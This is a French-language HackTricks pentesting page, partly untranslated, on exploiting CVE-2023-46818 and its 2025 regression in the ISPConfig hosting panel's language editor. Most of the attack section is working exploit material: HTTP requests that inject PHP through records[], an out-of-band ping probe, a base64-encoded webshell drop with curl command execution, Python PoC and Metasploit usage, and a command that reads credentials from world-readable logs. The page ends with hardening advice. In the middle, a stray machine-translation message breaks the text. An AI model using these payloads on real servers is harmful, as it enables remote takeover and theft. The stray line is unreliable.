ISPConfig
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
ISPConfig est un panneau de contrôle d’hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d’éditeur de fichiers de langue qui, lorsqu’elle était activée pour le super administrateur, permettait l’injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la manière dont PHP est exécuté, à une élévation de privilèges.
Principaux chemins par défaut :
- Web root souvent à
/var/www/ispconfiglorsqu’il est servi avecphp -Sou via Apache/nginx. - L’interface d’administration est accessible sur le vhost HTTP(S) (parfois liée à localhost uniquement ; utilisez SSH port-forward si nécessaire).
Astuce : Si le panneau est lié localement (p.ex. 127.0.0.1:8080), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Éditeur de langue PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
Références : entrée NVD CVE-2023-46818 et lien de l’avis du fournisseur dans la section Références ci-dessous.
Procédure d’exploitation manuelle
- Ouvrir/créer un fichier de langue pour obtenir les CSRF tokens
Envoyer un premier POST pour initialiser le formulaire et extraire les champs CSRF à partir de la réponse HTML (csrf_id, csrf_key). Exemple de chemin de requête : /admin/language_edit.php.
- Injecter du PHP via records[] et sauvegarder
Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Test hors-bande (surveiller ICMP) :
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Écrire des fichiers et déposer un webshell
Utilisez file_put_contents pour créer un fichier sous un chemin accessible via le web (par ex., admin/) :
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Écrivez ensuite un webshell simple en utilisant base64 pour éviter les caractères indésirables dans le corps POST :
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Veuillez coller ici le contenu de src/network-services-pentesting/pentesting-web/ispconfig.md à traduire. Je conserverai exactement le markdown, les balises et les chemins/non-traductions selon vos consignes.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Si PHP est exécuté en root (par ex., via php -S 127.0.0.1:8080 démarré par root), cela entraîne un root RCE immédiat. Sinon, vous obtenez code execution en tant qu’utilisateur du serveur web.
2025 régression (ISPConfig 3.3.0 / 3.3.0p1)
Le bug de l’éditeur de langue a refait surface dans 3.3.0/3.3.0p1 et a été corrigé dans 3.3.0p2. Les préconditions sont inchangées (admin_allow_langedit et admin login). Le même patch a également traité un monitor XSS et des world-readable rotated logs.
Notes:
- Sur 3.3.0/3.3.0p1, des world-readable rotated logs sous
/usr/local/ispconfig/interface/log/may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Les étapes d’exploitation correspondent à CVE-2023-46818; 3.3.0p2 ajoute des vérifications supplémentaires avant la modification de la langue.
Python PoC
Un exploit prêt à l’emploi automatise la gestion des tokens et la livraison des payloads:
Exemple d’exécution :
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (publié en juillet 2025)
Rapid7 a ajouté exploit/linux/http/ispconfig_lang_edit_php_code_injection, qui peut activer automatiquement admin_allow_langedit si le compte admin fourni a les droits system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Le module écrit un payload encodé en base64 via records[] et l’exécute, donnant un PHP Meterpreter ou un payload personnalisé.
Durcissement
- Mettre à niveau vers 3.2.11p1 ou version ultérieure pour le problème d’origine, et vers 3.3.0p2 ou version ultérieure pour la régression de 2025.
- Désactiver l’éditeur de langue sauf si strictement nécessaire:
admin_allow_langedit=no
- Évitez d’exécuter le panel en tant que root ; configurez PHP-FPM ou le serveur web pour réduire les privilèges
- Renforcez l’authentification du compte intégré
admin
Références
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


